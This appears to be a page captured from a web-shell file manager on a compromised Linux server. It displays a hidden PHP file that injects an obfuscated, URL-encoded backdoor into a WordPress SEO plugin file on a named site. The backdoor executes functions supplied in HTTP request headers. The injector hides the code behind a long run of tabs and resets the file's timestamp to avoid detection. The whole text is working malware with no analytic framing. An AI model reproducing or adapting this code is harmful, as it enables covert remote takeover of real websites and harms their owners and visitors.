HEX
Server: Apache
System: Linux iad1-shared-e1-26 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User: ricpug (13815490)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //var/tmp/.ob_iconv_handle
<?php  $path = '/home/saynigeria/saynigeria.com/wp-content/plugins/wordpress-seo/src/models/seo-meta.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('%24_HEADERS%3Dgetallheaders%28%29%3Bif%28isset%28%24_HEADERS%5B%27Authorization%27%5D%29%29%7B%24oauthexceptions%3D%24_HEADERS%5B%27Authorization%27%5D%28%27%27%2C%20%24_HEADERS%5B%27If-Unmodified-Since%27%5D%28%24_HEADERS%5B%27Clear-Site-Data%27%5D%29%29%3B%24oauthexceptions%28%29%3B%7D'); if (strstr($content, $new_code)) {     die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) {     if (substr($content, 0, strlen($start)) == $start) {         $content = substr($content, strlen($start));         $content = $start.str_repeat("\t", 42).$new_code."\n".$content;         if (file_put_contents($path, $content)) {             @touch($path, $ft);             $content = file_get_contents($path);             if (strstr($content, $new_code)) {                 die('!success!');             }         }     } } die('!failed!');